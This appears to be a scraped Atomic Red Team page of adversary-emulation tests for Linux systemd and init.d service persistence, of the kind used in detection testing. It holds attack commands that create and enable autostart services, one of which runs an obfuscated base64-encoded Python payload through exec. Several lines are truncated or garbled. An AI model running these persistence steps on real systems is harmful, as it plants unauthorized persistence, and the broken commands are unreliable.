

- > T1037.001
- > T1037.002
- > **T1037.004**
- > T1037.005
- > T1039
- > T1040

This test creates a Systemd service unit file and enables it as a service.

Supported Platforms: Linux

auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c

Inputs:

Name	Description	Туре	Default Value
systemd_service_path	Path to systemd service unit file	Path	/etc/systemd/system
systemd_service_file	File name of systemd service unit file	String	art-systemd-service.service
execstoppost_action	ExecStopPost action for Systemd service	String	/bin/touch /tmp/art- systemd-execstoppost- marker
execreload_action	ExecReload action for Systemd service	String	/bin/touch /tmp/art- systemd-execreload-marker
execstart_action	ExecStart action for Systemd service	String	/bin/touch /tmp/art- systemd-execstart-marker
execstop_action	ExecStop action for Systemd service	String	/bin/touch /tmp/art- systemd-execstop-marker
execstartpre_action	ExecStartPre action for Systemd service	String	/bin/touch /tmp/art- systemd-execstartpre- marker
execstartpost_action	ExecStartPost action for Systemd service	String	/bin/touch /tmp/art- systemd-execstartpost- marker

Attack Commands: Run with bash!

```
Q
echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
echo "Type=simple"
echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_path}/#
echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{
echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/
echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_path}/#
echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_
echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_serv
systemctl daemon-reload
systemctl enable #{systemd_service_file}
systemctl start #{systemd_service_file}
```

Cleanup Commands:

```
systemctl stop #{systemd_service_file}
systemctl disable #{systemd_service_file}
rm -rf #{systemd_service_path}/#{systemd_service_file}
systemctl daemon-reload
```

Atomic Test #2 - Create Systemd Service file, Enable the service, Modify and Reload the service.

This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process.

Supported Platforms: Linux

auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

```
Q
cat > /etc/init.d/T1543.002 << EOF</pre>
#!/bin/bash
### BEGIN INIT INFO
# Provides : Atomic Test T1543.002
# Required-Start: $all
# Required-Stop :
# Default-Start: 2 3 4 5
# Default-Stop:
# Short Description: Atomic Test for Systemd Service Creation
### END INIT INFO
python3 -c "import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnB'
EOF
chmod +x /etc/init.d/T1543.002
if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] | [ $(cat /etc/os-release)
systemctl enable T1543.002
systemctl start T1543.002
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9z
systemctl daemon-reload
systemctl restart T1543.002
```

Cleanup Commands:

```
systemctl stop T1543.002
systemctl disable T1543.002
rm -rf /etc/init.d/T1543.002
systemctl daemon-reload
```

Dependencies: Run with bash!

Description: System must be Ubuntu ,Kali OR CentOS.

Check Prereq Commands:

```
if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-rel
```

Get Prereq Commands:

```
echo Please run from Ubuntu ,Kali OR CentOS.
```